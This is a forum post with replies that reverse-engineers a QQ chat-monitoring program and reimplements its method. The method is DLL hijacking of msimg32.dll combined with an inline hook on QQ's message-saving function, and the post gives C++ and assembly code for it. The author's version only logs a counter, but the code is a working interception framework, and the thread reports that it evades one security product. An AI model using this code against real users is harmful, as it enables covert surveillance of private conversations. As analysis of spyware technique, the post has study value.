首页
社区
课程
招聘
[原创]逆向分析 楼月qq电脑监控软件8.21 并实现
发表于: 2012-2-29 13:56 26279

[原创]逆向分析 楼月qq电脑监控软件8.21 并实现

2012-2-29 13:56
26279

免责声明 : 本帖子中的程序仅供学习之用,不得用于非法之事,否则后果自负。与本人无关!
这次我不破解了,只分析其原理,呵呵。

安装完后,用od加载并运行它。
经过调试,如下图

Smass会将自己安装目录下的im32.dll和msimg32.dll拷贝到qq的运行目录下。因为msimg32.dll是系统dll,qq运行时会加载它。所以我们用ida打开msimg32.dll,看看里面都做了什么。如图

用ida打开im32.dll,看看im32.dll做了什么,如图


其实im32.dll就是hook了KernelUtil.dll,转到msimg32.dll中的sub_10001000中。下面分析sub_10001000,如图:


        经过上面的分析,我们可以知道此软件的原理:
1、        将自己编写的msimg32.dll和im32.dll拷贝到qq的目录下。
2、        Qq.exe运行时,会首先加载其目录下的msimg32.dll,而不是加载系统目录下的msimg32.dll。
3、        Qq目录下的msimg32.dll会加载系统目录下的msimg32.dll和im32.dll,并实现原msimg32.dll的接口。
4、        im32.dll加载后,会hook   KernelUtil.dll 的函数?SaveMsg@Msg@Util@@YAHPB_WKKKPAUITXMsgPack@@PAUITXData@@@Z,使其转到sub_10001000中。
5、        在sub_10001000中,通过FindWindow和SendMessage把聊天消息发送到楼月客户端。


      既然知道了原理,那就可以自己来实现了。
1、        创建一个dll工程msimg32
2、        实现系统msimg32.dll的接口
typedef void (WINAPI *_vSetDdrawflag)();
typedef BOOL (WINAPI *_AlphaBlend)(HDC hdcDest, int xoriginDest, int yoriginDest, int wDest,
        int hDest, HDC hdcSrc, int xoriginSrc, int yoriginSrc, int wSrc, int hSrc, BLENDFUNCTION ftn);
typedef BOOL (WINAPI *_DllInitialize)(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved);
typedef BOOL (WINAPI *_GradientFill)(HDC hdc, PTRIVERTEX pVertex, ULONG nVertex, PVOID pMesh, ULONG nMesh, ULONG ulMode);
typedef BOOL (WINAPI *_TransparentBlt)(HDC hdcDest, int xoriginDest, int yoriginDest, int wDest, int hDest,
        HDC hdcSrc, int xoriginSrc, int yoriginSrc, int wSrc, int hSrc, UINT crTransparent);

_vSetDdrawflag                 g_p_vSetDdrawflag = NULL;
_AlphaBlend                 g_p_AlphaBlend = NULL;
_DllInitialize                 g_p_DllInitialize = NULL;
_GradientFill                 g_p_GradientFill = NULL;
_TransparentBlt         g_p_TransparentBlt = NULL;

BOOL InitDll()
{
        CString strSysDir;
        GetSystemDirectoryEx( strSysDir );
        strSysDir.AppendFormat( _T("\\msimg32.dll") );

        HMODULE hDll = LoadLibrary( strSysDir );
        if( NULL != hDll )
        {
                g_p_vSetDdrawflag = (_vSetDdrawflag)GetProcAddress( hDll, "vSetDdrawflag" );
                g_p_AlphaBlend = (_AlphaBlend)GetProcAddress( hDll, "AlphaBlend" );
                g_p_DllInitialize = (_DllInitialize)GetProcAddress( hDll, "DllInitialize" );
                g_p_GradientFill = (_GradientFill)GetProcAddress( hDll, "GradientFill" );
                g_p_TransparentBlt = (_TransparentBlt)GetProcAddress( hDll, "TransparentBlt" );
        }

        return (
                ( NULL != g_p_vSetDdrawflag ) && ( NULL != g_p_AlphaBlend ) &&
                ( NULL != g_p_DllInitialize ) && ( NULL != g_p_GradientFill ) &&
                ( NULL != g_p_TransparentBlt )
                );
}
3、hook   KernelUtil.dll 的函数?SaveMsg@Msg@Util@@YAHPB_WKKKPAUITXMsgPack@@PAUITXData@@@Z
typedef int (WINAPI *_SaveMsg)( DWORD, DWORD, DWORD, DWORD, DWORD, DWORD );
typedef int (WINAPI *_GetMsgAbstract)( DWORD, DWORD );

DWORD                                 g_dwRetAddr = 0;
_SaveMsg                        g_p_SaveMsg = NULL;
_GetMsgAbstract                g_p_GetMsgAbstract = NULL;

__declspec( naked ) void JmpFun()
{
        _asm
        {               
                pushfd
                pushad

                push dword ptr [ebp+0x1c]        // 参数6
                push dword ptr [ebp+0x18]        // 参数5
                push dword ptr [ebp+0x14]        // 参数4
                push dword ptr [ebp+0x10]        // 参数3
                push dword ptr [ebp+0x0c]        // 参数2
                push dword ptr [ebp+0x8]        // 参数1
                call Bob_SaveMsg

                popad
                popfd

                        //.text:3182BA70                 push    ebp
                        //.text:3182BA71                 mov     ebp, esp
                        //.text:3182BA73                 push    0FFFFFFFFh
                        //.text:3182BA75                 push    offset loc_3185F4A8    // 这里是跳回的地址
                        //.text:3182BA7A                 mov     eax, large fs:0
                        //.text:3182BA80                 push    eax
                        //.text:3182BA81                 sub     esp, 38h
                        //.text:3182BA84                 push    ebx
                        //.text:3182BA85                 push    esi
                        //.text:3182BA86                 push    edi

                push    ebp
                mov     ebp, esp
                push    0x0FFFFFFFF

                jmp g_dwRetAddr
        }
}

BOOL BobHook()
{
        BOOL bRet = FALSE;
        HMODULE hDll = LoadLibraryW( DLL_NAME_OF_CRACK );
        if( NULL != hDll )
        {
                g_p_SaveMsg = (_SaveMsg)GetProcAddress( hDll, "?SaveMsg@Msg@Util@@YAHPB_WKKKPAUITXMsgPack@@PAUITXData@@@Z" );
                g_p_GetMsgAbstract = (_GetMsgAbstract)GetProcAddress( hDll, "?GetMsgAbstract@Msg@Util@@YA?AVCTXStringW@@PAUITXMsgPack@@@Z" );
                if( NULL != g_p_SaveMsg && NULL != g_p_GetMsgAbstract )
                {
                        DWORD dwTemp, dwOldFlag, dwCrack = (DWORD)g_p_SaveMsg;
                        g_dwRetAddr = dwCrack + LEN_OF_CRACK;
                        if( VirtualProtect( (LPVOID)dwCrack, LEN_OF_CRACK, PAGE_READWRITE, &dwOldFlag ) )
                        {                               
                                JmpCode struJmp;
                                struJmp.byJmpCode[3] = 0x0e9;  // jmp
                                struJmp.dwJmpCode[1] = GetMachineCode( dwCrack, JmpFun );
                                bRet = WriteProcessMemory( GetCurrentProcess(), (LPVOID)dwCrack, &( struJmp.byJmpCode[3] ), LEN_OF_CRACK, &dwTemp );
                                VirtualProtect( (LPVOID)dwCrack, LEN_OF_CRACK, dwOldFlag, &dwTemp );   
                        }
                }
        }

        return bRet;
}
4、输出聊天信息
void WINAPI Bob_SaveMsg( int a1, const wchar_t *Format, const wchar_t *a3, const wchar_t *a4, int a5, int a6 )
{
        if( NULL == g_p_GetMsgAbstract )
        {
                DbgOutput( _T("In Bob_SaveMsg(), g_p_GetMsgAbstract is NULL...") );
                return;
        }

        // 这里只显示调试信息,不显示聊天数据了,呵呵
        static int nCount = 1;
        DbgOutput( _T("In Bob_SaveMsg(), nCount:%d ..."), nCount++ );
}

编译出msimg32.dll后,还需要修改msimg32.dll的导出表,使导出表的Name Ordinal和Name与系统的msimg32.dll一样。如图

修改后的msimg32.dll放到qq安装目录下就可以了,然后运行qq,如图:


我把传说中很牛逼的qq管家打开,然后运行qq,如图:


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 6
支持
分享
最新回复 (37)
雪    币: 585
活跃值: (568)
能力值: ( LV13,RANK:290 )
在线值:
发帖
回帖
粉丝
2
dll和源码。。。。。。。。。。。
bin.zip
src.zip
上传的附件:
2012-2-29 14:00
0
雪    币: 383
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
收藏了!!!!!!!!!!
2012-2-29 14:07
0
雪    币: 585
活跃值: (568)
能力值: ( LV13,RANK:290 )
在线值:
发帖
回帖
粉丝
4
图片不清楚,这里是所有的图片
all.zip
上传的附件:
2012-2-29 14:13
0
雪    币: 203
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
强人~~~~
好像很多QQ工具都是通过msimg32.dll来入手的。
2012-2-29 14:34
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
真的很好哦,
2012-2-29 15:11
0
雪    币: 4560
活跃值: (1002)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
7
就像TP总是被输入法注入一样,不会是马大叔故意的吧
2012-2-29 15:32
0
雪    币: 380
活跃值: (108)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
8
真是牛人啊,强大!学习哦
2012-2-29 15:43
0
雪    币: 90
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
附件是我根据您的代码用vc6.0重新写的,msimg32_new.dll是我用cff改的,把它改成msimg32.dll放入QQ的目前下不能正常启动QQ,把您做的bin下的dll放入可以正常启动,
也可看到正常的调试记录。
帮我看下是怎么回事,谢了!
上传的附件:
2012-3-1 13:51
0
雪    币: 585
活跃值: (568)
能力值: ( LV13,RANK:290 )
在线值:
发帖
回帖
粉丝
10
我用od加载qq,在加载的过程中出错,
加载msvcrt.dll后就马上报错,估计是msvcrt.dll的问题。


解决方法:
你在编译dll的时候,选择 在静态库中使用mfc,不要搞成共享dll
上传的附件:
2012-3-1 15:27
0
雪    币: 412
活跃值: (30)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
11
也就是dll劫持了,加些代码可以防住大部分的这类劫持.
2012-3-1 15:37
0
雪    币: 211
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
强悍的- -!
2012-3-1 16:54
0
雪    币: 1737
活跃值: (110)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
不错啊,顶了撒~
2012-3-1 17:01
0
雪    币: 86
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
14
getsystemdir----append  name   ---- loader 。。。you  over。。。
2012-3-1 17:04
0
雪    币: 27
活跃值: (36)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
厉害啊,,,,
2012-3-1 21:04
0
雪    币: 485
活跃值: (78)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
16
思路很清晰。
你测试的时候是先把你的DLL弄到QQ目录,然后再开管家的吧?
2012-3-2 16:15
0
雪    币: 222
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
膜拜一下................................
2012-3-2 17:16
0
雪    币: 271
活跃值: (196)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
收藏学习。。。
2012-3-3 10:13
0
雪    币: 241
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
拜膜大神~!~!~!这水平估计我要修炼很久~!
2012-3-8 13:38
0
雪    币: 27
活跃值: (45)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
年代已经很久远了
2012-5-2 15:05
0
雪    币: 256
活跃值: (41)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
这样就可以拦截收到的QQ消息了
要是收到了QQ消息在自动申请远程协助就好了 ,研究中
2012-5-27 00:03
0
雪    币: 563
活跃值: (95)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
学习了 !
2012-5-27 00:22
0
雪    币: 1163
活跃值: (137)
能力值: ( LV12,RANK:230 )
在线值:
发帖
回帖
粉丝
23
对安全软件的测试需要有适当的方式方法,一些定论和帽子不要随便扣,如果是普通网友,那可以说不懂技术可以理解,如果是搞技术的还这样乱扣帽子和下结论就不应该了。
2012-5-27 22:44
0
雪    币: 23
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
24
呵呵……看代码来
2012-5-28 00:29
0
雪    币: 585
活跃值: (568)
能力值: ( LV13,RANK:290 )
在线值:
发帖
回帖
粉丝
25
针对我写的这个程序,用qq管家和360保险箱分别测试了下,
360保险箱能发现并提示,而qq管家很安静。
呵呵,
众所周知,360很不安全的,其他就不说了。
2012-5-28 14:40
0
游客
登录 | 注册 方可回帖
返回
//